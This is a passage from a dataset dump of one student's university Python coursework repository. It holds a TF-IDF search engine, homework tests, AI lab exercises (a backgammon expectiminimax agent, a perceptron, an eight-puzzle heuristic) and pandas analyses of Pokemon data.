plot_map(data)\n plot_population_map(data)\n plot_population_county_map(data)\n plot_food_access_by_county(data)\n plot_low_access_tracts(data)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5521494150161743, "alphanum_fraction": 0.5553206205368042, "avg_line_length": 32.78571319580078, "blob_id": "cacd8ed164dd86cee7aa6a47d724ce9f43cc852f", "content_id": "5c6c726bd765cba72cbba02bd07d22a3c71bc610", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2838, "license_type": "no_license", "max_line_length": 65, "num_lines": 84, "path": "/Advanced Data Programming/hw4/search_engine.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis class creates a SearchEngine type object\nthat creates an inverse index from a given directory,\nin order track the word and the files it appears in.\nThis allows for complete search of the directory\nfrom a given phrase to understand the files each word appears in.\n\"\"\"\nimport math\nimport os\nimport re\nfrom document import Document\n\n\nclass SearchEngine:\n\n def __init__(self, directory):\n \"\"\"\n Initialize SearchEngine by creating the object\n from a given directory name, which has an inverse index\n that maps each word to the documents in which the word\n appears.\n \"\"\"\n self._inverse_index = dict()\n self._dcount = 0\n for file in os.listdir(directory):\n self._dcount += 1\n file = Document(directory + '/' + file)\n word_list = file.get_words()\n for word in word_list:\n if word not in self._inverse_index.keys():\n self._inverse_index[word] = [file]\n else:\n self._inverse_index[word].append(file)\n\n def _calculate_idf(self, term):\n \"\"\"\n From the given term, function returns the\n Inverse Document Frequency for the term over all the\n documents in the respective SearchEngine directory\n of documents.\n \"\"\"\n if term not in self._inverse_index.keys():\n return 0\n else:\n num_tdoc = len(self._inverse_index[term])\n result = math.log((self._dcount)/(num_tdoc))\n return result\n\n def search(self, word):\n \"\"\"\n From given word or phrase, function returns a list of\n documents that the word or phrases appears in and in the\n order of the word or phrase's Term Frequency-Inverse\n Document Frequency ranking.\n\n Special Case: If the term is not in any of the documents,\n returns None.\n \"\"\"\n result_list = []\n docu_dict = dict()\n word = re.sub(r'\\W+', ' ', (word))\n word = word.lower()\n word_list = word.split()\n for word in word_list:\n if word in self._inverse_index.keys():\n for docu in self._inverse_index[word]:\n tf = docu.term_frequency(word)\n idf = self._calculate_idf(word)\n tf_idf = tf * idf\n if docu not in docu_dict.keys():\n docu_dict[docu] = tf_idf\n else:\n docu_dict[docu] += tf_idf\n docu_list = list(docu_dict.items())\n if len(docu_list) == 0:\n return None\n else:\n docu_list.sort(key=lambda t: t[1], reverse=True)\n for doc in docu_list:\n result_list.append(str(doc[0]))\n return result_list\n" }, { "alpha_fraction": 0.5674530863761902, "alphanum_fraction": 0.6116152405738831, "avg_line_length": 23.671642303466797, "blob_id": "e6e692173887e075373321d9557f1d44fa66f265", "content_id": "42ccdf72436551766e388210d4b29b5366b72c0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1653, "license_type": "no_license", "max_line_length": 70, "num_lines": 67, "path": "/Advanced Data Programming/hw0/hw0_test.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nA file to test the outputs of the methods in\nHW0. Checks if funky_sum() and total() operates\nwithout any issues.\n\"\"\"\n\n\nimport hw0\nfrom cse163_utils import assert_equals\n\n\ndef test_funky_sum():\n \"\"\"\n Checks if the function funky_sum in hw0 outputs\n the desired output\n \"\"\"\n # Spec test\n assert_equals(2, hw0.funky_sum(1, 3, 0.5))\n assert_equals(1, hw0.funky_sum(1, 3, 0))\n assert_equals(3, hw0.funky_sum(1, 3, 1))\n # Addtional test\n assert_equals(3, hw0.funky_sum(2, 6, 0.25))\n assert_equals(4.2, hw0.funky_sum(3, 5, 0.6))\n assert_equals(6.5, hw0.funky_sum(5, 8, 0.5))\n\n\ndef test_total():\n \"\"\"\n Checks if the function total in hw0 outputs\n the desired output\n \"\"\"\n # Spec test\n assert_equals(15, hw0.total(5))\n assert_equals(1, hw0.total(1))\n assert_equals(0, hw0.total(0))\n # Additional test\n assert_equals(10, hw0.total(4))\n assert_equals(6, hw0.total(3))\n assert_equals(None, hw0.total(-1))\n\n\ndef test_swip_swap():\n \"\"\"\n Checks if the function swip_swap in hw0\n outputs the correct string output\n \"\"\"\n # Spec test\n assert_equals('offbar', hw0.swip_swap('foobar', 'f', 'o'))\n assert_equals('foocar', hw0.swip_swap('foobar', 'b', 'c'))\n assert_equals('foobar', hw0.swip_swap('foobar', 'z', 'c'))\n # Additional test\n assert_equals('baoossn', hw0.swip_swap('bassoon', 'o', 's'))\n assert_equals('bkkooeeper', hw0.swip_swap('bookkeeper', 'o', 'k'))\n assert_equals('avelueta', hw0.swip_swap('evaluate', 'e', 'a'))\n\n\ndef main():\n test_total()\n test_funky_sum()\n test_swip_swap()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.48155340552330017, "alphanum_fraction": 0.4948079288005829, "avg_line_length": 36.84664535522461, "blob_id": "3686bb2b301aa79b003af773af8a3980a286231f", "content_id": "129249af5081ed51045151041426da9513ab5a31", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11845, "license_type": "no_license", "max_line_length": 106, "num_lines": 313, "path": "/Introduction to Artificial Intelligence/Lab 1/a1.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "import re\nimport math\n\ndef is_multiple_of_9(n):\n \"\"\"Return True if n is a multiple of 9; False otherwise.\"\"\"\n if n % 9 == 0:\n return True\n else:\n return False\n\n\ndef next_prime(m):\n \"\"\"Return the first prime number p that is greater than m.\n You might wish to define a helper function for this.\n You may assume m is a positive integer.\"\"\"\n temp = False\n while not temp:\n isPrime = True\n m += 1\n for i in range(2, m):\n if m % i == 0:\n isPrime = False\n if isPrime == True:\n temp = True\n return m\n\n\ndef quadratic_roots(a, b, c):\n \"\"\"Return the roots of a quadratic equation (real cases only).\n Return results in tuple-of-floats form, e.g., (-7.0, 3.0)\n Return \"complex\" if real roots do not exist.\"\"\"\n if ((b**2) - (4 * a * c)) < 0:\n return \"complex\"\n x = ((-1*b) + math.sqrt((b**2) - (4 * a * c))) / (2 * a)\n y = ((-1*b) - math.sqrt((b**2) - (4 * a * c))) / (2 * a)\n return (x, y)\n\n\ndef perfect_shuffle(even_list):\n \"\"\"Assume even_list is a list of an even number of elements.\n Return a new list that is the perfect-shuffle of the input.\n For example, [0, 1, 2, 3, 4, 5, 6, 7] => [0, 4, 1, 5, 2, 6, 3, 7]\"\"\"\n result = []\n split = len(even_list)//2\n first_part = even_list[0:split]\n second_part = even_list[split:]\n for i in range(len(even_list)):\n if i % 2 == 0:\n result.append(first_part[i//2])\n else:\n result.append(second_part[i//2])\n return result\n\n\ndef triples_list(input_list):\n \"\"\"Assume a list of numbers is input. Using a list comprehension,\n return a new list in which each input element has been multiplied\n by 3.\"\"\"\n return [x * 3 for x in input_list]\n\n\ndef double_consonants(text):\n \"\"\"Return a new version of text, with all the consonants doubled.\n For example: \"The *BIG BAD* wolf!\" => \"TThhe *BBIGG BBADD* wwollff!\"\n For this exercise assume the consonants are all letters OTHER\n THAN A,E,I,O, and U (and a,e,i,o, and u).\n Maintain the case of the characters.\"\"\"\n result = \"\"\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n for i in text:\n if i.lower() not in vowels and i.isalpha():\n result += i\n result += i\n else:\n result += i\n return result\n\n\ndef count_words(text):\n \"\"\"Return a dictionary having the words in the text as keys,\n and the numbers of occurrences of the words as values.\n Assume a word is a substring of letters and digits and the characters\n '-', '+', '*', '/', '@', '#', '%', and \"'\" separated by whitespace,\n newlines, and/or punctuation (characters like . , ; ! ? & ( ) [ ] ).\n Convert all the letters to lower-case before the counting.\"\"\"\n text = text.strip()\n result = dict()\n lowText = text.lower()\n words = re.split('\\s|\\n|]|[|[.,\"!$?^><`&;:=_~{}()\\\\\\\\]', lowText)\n list = [i for i in words if i]\n for item in list:\n if item not in result.keys():\n result[item] = 1\n else:\n result[item] += 1\n return result\n\ndef make_cubic_evaluator(a, b, c, d):\n \"\"\"When called with 4 numbers, returns a function of one variable (x)\n that evaluates the cubic polynomial\n a x^3 + b x^2 + c x + d.\n For this exercise Your function definition for make_cubic_evaluator\n should contain a lambda expression.\"\"\"\n return lambda x : (a*(x**3)) + (b * x ** 2) + (c*x) + d\n\nclass Polygon:\n \"\"\"Polygon class.\"\"\"\n def __init__(self, n_sides, lengths=None, angles=None):\n self._number_sides = n_sides\n self._side_lengths = lengths\n self._angles_list = angles\n\n def is_rectangle(self):\n if (self._number_sides == 4):\n if self._angles_list == None:\n return None\n else:\n for angle in self._angles_list:\n if angle != 90:\n return False\n return True\n else:\n return False\n\n def is_rhombus(self):\n if (self._number_sides != 4):\n return False\n if(self._number_sides == 4 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._angles_list == None and self._side_lengths == None):\n return None\n elif (self._angles_list == None and self._number_sides == 4 and (self._side_lengths is not None)):\n temp3 = []\n temp3.append(self._side_lengths[0])\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp3:\n return False\n temp3.append(self._side_lengths[length])\n return True\n else:\n if (self._side_lengths is not None):\n temp = []\n temp.append(self._side_lengths[0])\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp:\n return False\n temp.append(self._side_lengths[length])\n return True\n\n def is_square(self):\n if (self._number_sides != 4):\n return False\n if(self._number_sides == 4 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._angles_list == None and self._side_lengths == None):\n return None\n elif (self._angles_list == None and self._number_sides == 4 and (self._side_lengths is not None)):\n temp = []\n temp.append(self._side_lengths[0])\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp:\n return False\n temp.append(self._side_lengths[length])\n return None\n elif (self._angles_list != None and self._number_sides == 4 and self._side_lengths == None):\n temp2 = []\n temp2.append(self._angles_list[0])\n for angle in range(1, len(self._angles_list)):\n if self._angles_list[angle] not in temp2:\n return False\n temp2.append(self._angles_list[angle])\n return None\n elif ((self._side_lengths is not None) and (self._angles_list is not None)):\n temp = []\n temp.append(self._side_lengths[0])\n for angle in self._angles_list:\n if angle != 90:\n return False\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp:\n return False\n temp.append(self._side_lengths[length]) \n return True\n\n def is_regular_hexagon(self):\n if (self._number_sides != 6):\n return False\n if(self._number_sides == 6 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._angles_list == None and self._side_lengths == None):\n return None\n elif (self._angles_list == None and self._number_sides == 6 and self._side_lengths != None):\n temp = []\n temp.append(self._side_lengths[0])\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp:\n return False\n temp.append(self._side_lengths[length])\n return None\n elif (self._angles_list != None and self._number_sides == 6 and self._side_lengths == None):\n temp2 = []\n temp2.append(self._angles_list[0])\n for angle in range(1, len(self._angles_list)):\n if self._angles_list[angle] not in temp2:\n return False\n temp2.append(self._angles_list[angle])\n return None\n elif ((self._side_lengths is not None) and (self._angles_list is not None)):\n temp = []\n temp2 = []\n temp.append(self._side_lengths[0])\n temp2.append(self._angles_list[0])\n for angle in range(1, len(self._angles_list)):\n if self._angles_list[angle] not in temp2:\n return False\n temp2.append(self._angles_list[angle])\n for length in range(1, len(self._side_lengths)):\n if self._side_lengths[length] not in temp:\n return False\n temp.append(self._side_lengths[length])\n return True\n\n def is_isosceles_triangle(self):\n if(self._number_sides == 3 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._number_sides != 3):\n return False\n else:\n if (self._angles_list == None):\n temp = dict()\n for length in self._side_lengths:\n if length not in temp.keys():\n temp[length] = 1\n else:\n temp[length] += 1\n test2 = False\n for value in temp.values():\n if value >= 2:\n test2 = True\n return (test2)\n else:\n temp2 = dict()\n for angle in self._angles_list:\n if angle not in temp2.keys():\n temp2[angle] = 1\n else:\n temp2[angle] += 1\n test = False\n for value2 in temp2.values():\n if value2 >= 2:\n test = True\n return (test)\n \n def is_equilateral_triangle(self):\n if(self._number_sides == 3 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._number_sides != 3):\n return False\n else:\n if (self._angles_list == None):\n temp = dict()\n for length in self._side_lengths:\n if length not in temp.keys():\n temp[length] = 1\n else:\n temp[length] += 1\n test2 = False\n for value in temp.values():\n if value == 3:\n test2 = True\n return (test2)\n else:\n temp2 = dict()\n for angle in self._angles_list:\n if angle not in temp2.keys():\n temp2[angle] = 1\n else:\n temp2[angle] += 1\n test = False\n for value2 in temp2.values():\n if value2 == 3:\n test = True\n return (test)\n \n\n def is_scalene_triangle(self):\n if(self._number_sides == 3 and self._angles_list == None and self._side_lengths == None):\n return None\n if (self._number_sides != 3):\n return False\n return not self.is_isosceles_triangle()\n # else:\n # temp = dict()\n # temp2 = dict()\n # for length in self._side_lengths:\n # if length not in temp.keys():\n # temp[length] = 1\n # else:\n # temp[length] += 1\n # for angle in self._angles_list:\n # if angle not in temp2.keys():\n # temp2[angle] = 1\n # else:\n # temp2[angle] += 1\n # test = True\n # test2 = True\n # for value2 in temp2.values():\n # if value2 != 1:\n # test = False\n # for value in temp.values():\n # if value != 1:\n # test2 = False\n # return (test and test2)" }, { "alpha_fraction": 0.5467609167098999, "alphanum_fraction": 0.5618374347686768, "avg_line_length": 32.959999084472656, "blob_id": "420c0182c2c7f73127bd0b4a2643907ca1a26024", "content_id": "e33d78d6de78ae34bd9ddbb4db6cabb628d7158d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4245, "license_type": "no_license", "max_line_length": 87, "num_lines": 125, "path": "/Introduction to Artificial Intelligence/Lab 3/agents/backgammon_ssbg.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''\nName(s): Khoa Tran\nUW netid(s): [email protected]\n'''\n\nfrom game_engine import genmoves\nimport math\n\nW = 0\nR = 1\n\n\nclass BackgammonPlayer:\n def __init__(self):\n self.GenMoveInstance = genmoves.GenMoves()\n self.maxply = 2\n self.evalfunc = self.staticEval\n\n # returns a string representing a unique nick name for your agent\n def nickname(self):\n return \"ktdt01\"\n\n # Given a ply, it sets a maximum for how far an agent\n # should go down in the search tree. If maxply==-1,\n # no limit is set\n def setMaxPly(self, maxply=-1):\n self.maxply = maxply\n\n # If not None, it update the internal static evaluation\n # function to be func\n def useSpecialStaticEval(self, func):\n if (func is not None):\n self.evalFunc = func\n\n def initialize_move_gen_for_state(self, state, who, die1, die2):\n self.move_generator = self.GenMoveInstance.gen_moves(\n state, who, die1, die2)\n \n def get_all_possible_moves(self):\n \"\"\"Uses the mover to generate all legal moves.\"\"\"\n move_list = []\n done_finding_moves = False\n any_non_pass_moves = False\n while not done_finding_moves:\n try:\n m = next(self.move_generator) # Gets a (move, state) pair.\n # print(\"next returns: \",m[0]) # Prints out the move. For debugging.\n if m[0] != 'p':\n any_non_pass_moves = True\n move_list.append(m) # Add the (move, state) pair to the list.\n except StopIteration as e:\n done_finding_moves = True\n if not any_non_pass_moves:\n move_list.append('p')\n return move_list\n\n def useUniformDistribution():\n pass\n\n # Given a state and a roll of dice, it returns the best move for\n # the state.whose_move\n def move(self, state, die1=1, die2=6):\n best_move, _ = self.expected_minimax(state, die1, die2, self.maxply)\n return best_move\n\n # Given a state and a roll of dice, returns the value of the best move for the\n # the state.whose_move\n def expected_minimax(self, state, die1=1, die2=6, plyLeft=2):\n agent = state.whose_move\n self.initialize_move_gen_for_state(state, state.whose_move, die1, die2)\n move_list = self.get_all_possible_moves()\n if move_list[0] == 'p':\n return 'p', self.staticEval(state)\n result_move = move_list[0]\n num = 0\n for item in move_list:\n if agent == R:\n num = math.inf\n else:\n num = -math.inf\n score = self.expected_helper(item[1], plyLeft - 1)\n if (score < num and agent == R) or (score > num and agent == W):\n num = score\n result_move = item[0]\n return result_move, num\n\n # Given a state, returns the score value of the state over the uniform distribution\n # of dice rolls\n def expected_helper(self, state, plyLeft=2):\n score = 0\n if plyLeft == 0:\n return self.staticEval(state)\n for die1 in range(1, 6 + 1):\n for die2 in range(1, 6 + 1):\n _, expected = self.expected_minimax(state, die1, die2, plyLeft)\n score += expected\n\n return score / 36\n\n # Given a state, returns an integer which represents how good the state is\n # for the two players (W and R) -- more positive numbers are good for W\n # while more negative numbers are good for R\n def staticEval(self, state):\n barList = state.bar\n whiteOff = state.white_off\n redOff = state.red_off\n agent = state.whose_move\n count_red = 0\n count_white = 0\n count_white += (200 * len(whiteOff))\n count_red += (20 * len(redOff))\n if agent == R:\n count_red += 2\n elif agent == W:\n count_white += 2\n for item in barList:\n if (item == W):\n count_white -= 20\n else:\n count_red -= 20\n if genmoves.bearing_off_allowed(state, R):\n count_red += 40\n elif genmoves.bearing_off_allowed(state, W):\n count_white += 40\n return count_white - count_red\n" }, { "alpha_fraction": 0.5588235259056091, "alphanum_fraction": 0.5799307823181152, "avg_line_length": 27.33333396911621, "blob_id": "17f1ca063e742b385585460b26d78292abbc0f65", "content_id": "a01e0fb0b601bbf56aa166b5a4f20cefc5cb6bf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2890, "license_type": "no_license", "max_line_length": 76, "num_lines": 102, "path": "/Introduction to Artificial Intelligence/Lab 6/binary_perceptron.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''binary_perceptron.py\nOne of the starter files for use in CSE 415, Winter 2021\nAssignment 6.\n\nVersion of Feb. 18, 2021\n\n'''\n\n\ndef student_name():\n return \"Khoa Tran\" # Replace with your own name.\n\n\ndef classify(weights, x_vector):\n '''Assume weights = [w_0, w_1, ..., w_{n-1}, biasweight]\n Assume x_vector = [x_0, x_1, ..., x_{n-1}]\n Note that y (correct class) is not part of the x_vector.\n Return +1 if the current weights classify this as a Positive,\n or -1 if it seems to be a Negative.\n '''\n # Replace this code with your own:\n result = 0\n for i in range(len(weights) - 1):\n result += weights[i] * x_vector[i]\n result += weights[len(weights) - 1]\n if result > 0:\n return 1\n else:\n return -1\n\n\ndef train_with_one_example(weights, x_vector, y, alpha):\n '''Assume weights are as in the above function classify.\n Also, x_vector is as above.\n Here y should be +1 if x_vector represents a positive example,\n and -1 if it represents a negative example.\n Learning rate is specified by alpha.\n '''\n temp = classify(weights, x_vector)\n mult = []\n checker = False\n if temp < y:\n weights[len(weights) - 1] = weights[len(weights) - 1] + alpha\n for item in x_vector:\n mult.append(item * alpha)\n for i in range(len(weights) - 1):\n weights[i] = weights[i] + mult[i]\n checker = True\n elif temp > y:\n weights[len(weights) - 1] = weights[len(weights) - 1] - alpha\n for j in range(len(x_vector)):\n mult.append(x_vector[j] * alpha)\n for i in range(len(weights) - 1):\n weights[i] = weights[i] - mult[i]\n checker = True\n else:\n checker = False\n return (weights, checker)\n\n\n# From here on use globals that can be easily imported into other modules.\nWEIGHTS = [0, 0, 0]\nALPHA = 0.5\n\n\ndef train_for_an_epoch(training_data, reporting=True):\n '''Go through the given training examples once, in the order supplied,\n passing each one to train_with_one_example.\n Update the global WEIGHT vector and return the number of weight updates.\n (If zero, then training has converged.)\n '''\n global WEIGHTS, ALPHA\n changed_count = 0\n for item in training_data:\n y = item[len(item) - 1]\n x_vector = item[:len(item) - 1]\n weight, check = train_with_one_example(WEIGHTS, x_vector, y, ALPHA)\n WEIGHTS = weight\n if check:\n for item in WEIGHTS:\n if item != 0:\n changed_count += 1\n return changed_count\n\n\nTEST_DATA = [\n [-2, 7, +1],\n [1, 10, +1],\n [3, 2, -1],\n [5, -2, -1]]\n\n\ndef test():\n print(\"Starting test with 3 epochs.\")\n for i in range(3):\n train_for_an_epoch(TEST_DATA)\n print(WEIGHTS)\n print(\"End of test.\")\n\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.6572487354278564, "alphanum_fraction": 0.6586382389068604, "avg_line_length": 25.012048721313477, "blob_id": "386917245b7e7130aa3a96abccf9ca35842e1904", "content_id": "7c2c52889d68c586a7a370fdf66ae475e73fb4f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2159, "license_type": "no_license", "max_line_length": 75, "num_lines": 83, "path": "/Advanced Data Programming/hw2/hw2_pandas.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program performs analysis on a given Pokemon data file,\ngiving various information like average attack levels for a particular type\nor number of species and much more. This program immplements the panda\nlibrary in order to compute the statistics.\n\"\"\"\n\n\ndef species_count(data):\n \"\"\"\n Returns the number of unique species in the\n given file\n \"\"\"\n result = data['name'].unique()\n return len(result)\n\n\ndef max_level(data):\n \"\"\"\n Returns a tuple with the name and level of the Pokemon\n that has the highest level\n \"\"\"\n index = data['level'].idxmax()\n result = (data.loc[index, 'name'], data.loc[index, 'level'])\n return result\n\n\ndef filter_range(data, low, high):\n \"\"\"\n Returns a list of Pokemon names having a level that is\n larger or equal to the lower given range and less than\n the higher given range\n \"\"\"\n temp = data[(data['level'] >= low) & (data['level'] < high)]\n return list(temp['name'])\n\n\ndef mean_attack_for_type(data, type):\n \"\"\"\n Returns the average attack for all Pokemon\n in dataset with the given type\n\n Special Case: If the dataset does not contain the given type,\n returns 'None'\n \"\"\"\n temp = data.groupby('type')['atk'].mean()\n if type not in temp.index:\n return None\n else:\n return temp[type]\n\n\ndef count_types(data):\n \"\"\"\n Returns a dictionary of Pokemon with the types\n as the keys and the values as the corresponding\n number of times that the type appears in the dataset\n \"\"\"\n temp = data.groupby('type')['type'].count()\n return dict(temp)\n\n\ndef highest_stage_per_type(data):\n \"\"\"\n Returns a dictionary with the key as the type of\n Pokemon and the value as the highest stage reached for\n the corresponding type in the dataset\n \"\"\"\n temp = data.groupby('type')['stage'].max()\n return dict(temp)\n\n\ndef mean_attack_per_type(data):\n \"\"\"\n Returns a dictionary with the key as the type of Pokemon\n and the value as the average attack for\n the corresponding Pokemon type in the dataset\n \"\"\"\n temp = data.groupby('type')['atk'].mean()\n return dict(temp)\n" }, { "alpha_fraction": 0.5626382231712341, "alphanum_fraction": 0.6052684783935547, "avg_line_length": 38.46825408935547, "blob_id": "99ecb185dfbb7e312ad4351e78c5580040c55a45", "content_id": "240b098cd5e0457b0906f639fd725c8f0906e5f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4973, "license_type": "no_license", "max_line_length": 70, "num_lines": 126, "path": "/Advanced Data Programming/hw2/hw2_test.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program is the client tester for the two imported data anaylsis\nclasses, in order to test the output from the Pokemon dataset.\nThis test both the panda library class and non-panda class,\nwith the two different datasets.\n\"\"\"\nimport pandas as pd\n\n# You can call the method using\n# assert_equals(expected, received)\n# parse(file)\nfrom cse163_utils import assert_equals, parse\n\nimport hw2_manual\nimport hw2_pandas\n\nnopanda_data1 = parse('/home/pokemon_test.csv')\npanda_data1 = pd.read_csv('/home/pokemon_test.csv')\nnopanda_data2 = parse('/home/pokemon_test2.csv')\npanda_data2 = pd.read_csv('/home/pokemon_test2.csv')\n\n\ndef test_nopanda_data1():\n \"\"\"\n Tests the various functions in the non-panda class for\n accurately extracting data from the dataset.\n The input file is a given CSV file called pokemon_test.\n \"\"\"\n # Given test\n assert_equals(3, hw2_manual.species_count(nopanda_data1))\n assert_equals(('Lapras', 72), hw2_manual.max_level(nopanda_data1))\n assert_equals(['Arcanine', 'Arcanine', 'Starmie'],\n hw2_manual.filter_range(nopanda_data1, 30, 70))\n assert_equals(47.5, hw2_manual.mean_attack_for_type\n (nopanda_data1, 'fire'))\n assert_equals({'fire': 2, 'water': 2},\n hw2_manual.count_types(nopanda_data1))\n assert_equals({'fire': 2, 'water': 2},\n hw2_manual.highest_stage_per_type(nopanda_data1))\n assert_equals({'fire': 47.5, 'water': 140.5},\n hw2_manual.mean_attack_per_type(nopanda_data1))\n\n\ndef test_panda_data1():\n \"\"\"\n Tests the various functions in the panda class for\n accurately extracting data from the dataset.\n The input file is a given CSV file called pokemon_test.\n \"\"\"\n # Given test\n assert_equals(3, hw2_pandas.species_count(panda_data1))\n assert_equals(('Lapras', 72), hw2_pandas.max_level(panda_data1))\n assert_equals(['Arcanine', 'Arcanine', 'Starmie'],\n hw2_pandas.filter_range(panda_data1, 30, 70))\n assert_equals(47.5, hw2_pandas.mean_attack_for_type\n (panda_data1, 'fire'))\n assert_equals({'fire': 2, 'water': 2},\n hw2_pandas.count_types(panda_data1))\n assert_equals({'fire': 2, 'water': 2},\n hw2_pandas.highest_stage_per_type(panda_data1))\n assert_equals({'fire': 47.5, 'water': 140.5},\n hw2_pandas.mean_attack_per_type(panda_data1))\n\n\ndef test_nopanda_data2():\n \"\"\"\n Tests the various functions in the non-panda class for\n accurately extracting data from the dataset.\n The input file is a create CSV file called pokemon_test2.\n \"\"\"\n # Additional test\n assert_equals(11, hw2_manual.species_count(nopanda_data2))\n assert_equals(('Magmar', 96), hw2_manual.max_level(nopanda_data2))\n assert_equals(['Persian', 'Magmar', 'Kingler', 'Venusaur'],\n hw2_manual.filter_range(nopanda_data2, 20, 45))\n assert_equals(None, hw2_manual.mean_attack_for_type\n (nopanda_data1, 'fighting'))\n assert_equals({'normal': 2, 'fire': 2, 'water': 1, 'grass': 3,\n 'poison': 1, 'bug': 2, 'fairy': 1},\n hw2_manual.count_types(nopanda_data2))\n assert_equals({'normal': 2, 'fire': 1, 'water': 2, 'grass': 3,\n 'poison': 1, 'bug': 3, 'fairy': 1},\n hw2_manual.highest_stage_per_type(nopanda_data2))\n assert_equals({'normal': 86.0, 'fire': 79.0, 'water': 110.0,\n 'grass': 105.0, 'poison': 30.0,\n 'bug': 13.5, 'fairy': 33.0},\n hw2_manual.mean_attack_per_type(nopanda_data2))\n\n\ndef test_panda_data2():\n \"\"\"\n Tests the various functions in the panda class for\n accurately extracting data from the dataset.\n The input file is a create CSV file called pokemon_test2.\n \"\"\"\n # Additional test\n assert_equals(11, hw2_pandas.species_count(panda_data2))\n assert_equals(('Magmar', 96), hw2_pandas.max_level(panda_data2))\n assert_equals(['Persian', 'Magmar', 'Kingler', 'Venusaur'],\n hw2_pandas.filter_range(panda_data2, 20, 45))\n assert_equals(None, hw2_pandas.mean_attack_for_type\n (panda_data1, 'fighting'))\n assert_equals({'normal': 2, 'fire': 2, 'water': 1, 'grass': 3,\n 'poison': 1, 'bug': 2, 'fairy': 1},\n hw2_pandas.count_types(panda_data2))\n assert_equals({'normal': 2, 'fire': 1, 'water': 2, 'grass': 3,\n 'poison': 1, 'bug': 3, 'fairy': 1},\n hw2_pandas.highest_stage_per_type(panda_data2))\n assert_equals({'normal': 86.0, 'fire': 79.0,\n 'water': 110.0, 'grass': 105.0, 'poison': 30.0,\n 'bug': 13.5, 'fairy': 33.0},\n hw2_pandas.mean_attack_per_type(panda_data2))\n\n\ndef main():\n test_nopanda_data1()\n test_panda_data1()\n test_nopanda_data2()\n test_panda_data2()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.4559139907360077, "alphanum_fraction": 0.49247312545776367, "avg_line_length": 19.173913955688477, "blob_id": "2c2a9c7e3c6607c803b85eeec65338f3ac1336b6", "content_id": "cd528ac14feaf3c6af1146d3efa707eb07a26c9e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 465, "license_type": "no_license", "max_line_length": 42, "num_lines": 23, "path": "/Introduction to Artificial Intelligence/Lab 2/EightPuzzleWithHamming.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "''' EightPuzzleWithHamming.py\nby Khoa Tran\nUWNetID: ktdt01\nStudent number: 1861460\n\nAn instance of hamming distance heuristic.\n'''\n\nfrom EightPuzzle import *\n\ndef h(self): \n count = 0\n value = 0\n for x in range(3):\n for y in range(3):\n state = self.b[x][y]\n if value == 0:\n value = 1\n else:\n if state != value:\n count += 1\n value += 1\n return count\n\n" }, { "alpha_fraction": 0.6237365007400513, "alphanum_fraction": 0.6472638845443726, "avg_line_length": 34.20245361328125, "blob_id": "8c78bfaec51223aa796702aa3fe6a12e702080d8", "content_id": "69e89202ec700624adfd1b2be94711d816f796e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5738, "license_type": "no_license", "max_line_length": 75, "num_lines": 163, "path": "/Advanced Data Programming/hw3/hw3.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "import cse163_utils # noqa: F401\n# This is a hacky workaround to an unfortunate bug on macs that causes an\n# issue with seaborn, the graphing library we want you to use on this\n# assignment. You can just ignore the above line or delete it if you are\n# not using a mac!\n\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program performs data analytics using various libraries\nto show dataset comparision of education level compared to\nother variables of race and sex. This program filters out\ndata to get the desired relationship for plotting. Lastly,\nthe program implements a ML model to train and test its accuracy\nwith the mean_squared_error.\n\"\"\"\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.metrics import mean_squared_error\nsns.set()\n\n\ndef compare_bachelors_1980(df):\n \"\"\"\n From the given DataFrame, returns a\n new DataFrame that compares the percentage of men\n and women that has a minimum degree of a bachelor's\n degree in 1980\n \"\"\"\n degree = df['Min degree'] == \"bachelor's\"\n year = df['Year'] == 1980\n sex = (df['Sex'] == 'M') | (df['Sex'] == 